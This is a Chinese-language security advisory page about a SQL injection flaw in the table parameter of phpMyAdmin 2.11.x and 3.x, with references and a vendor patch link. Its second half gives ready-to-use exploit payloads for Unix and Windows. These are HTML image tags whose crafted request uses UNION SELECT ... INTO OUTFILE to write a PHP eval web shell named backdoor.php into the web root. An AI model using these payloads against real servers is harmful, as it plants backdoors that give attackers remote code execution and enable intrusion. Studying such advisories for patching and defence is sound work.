phpMyAdmin table参数SQL注入漏洞

  • A+
所属分类:网络安全

影响版本:
phpMyAdmin phpmyadmin 3.x
phpMyAdmin phpMyAdmin 2.11.x
漏洞描述:
BUGTRAQ ID: 32720

phpMyAdmin是用PHP编写的工具,用于通过WEB管理MySQL。

phpMyAdmin的./phpmyadmin/libraries/db_table_exists.lib.php文件中没有正确地过滤table参数:

$_result = PMA_DBI_try_query(
'SELECT COUNT(*) FROM `' .
PMA_sqlAddslashes($table, true) . '`;',
null, PMA_DBI_QUERY_STORE);

PMA_sqlAddslashes()函数仅禁用了单引号,但忽略了反勾号(`)和双引号("),因此远程攻击者可以通过提交恶意请求执行sql注入攻击。
<*参考
http://secunia.com/advisories/33076/
http://www.phpmyadmin.net/home_page/security/PMASA-2008-10.php
http://www.milw0rm.com/exploits/7382
*>
SEBUG安全建议:
phpMyAdmin
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?view=rev&revision=12100

*nix平台: <html> <img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1"> </html> path: /var/www/backdoor.php backdoor: <?php eval($_GET[e]);?> Windows平台: <html> <img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+115%2C+116%2C+114%2C+105%2C+112%2C+115%2C+108%2C+97%2C+115%2C+104%2C+101%2C+115%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+41%2C+59%2C+63%2C+62%29+into+outfile+%22c%3A%2Fxampp%2Fhtdocs%2Fbackdoor.php%22+--+1"> </html> path: c:/xampp/htdocs/backdoor.php backdoor: <?php eval(stripslashes($_GET[e]));?>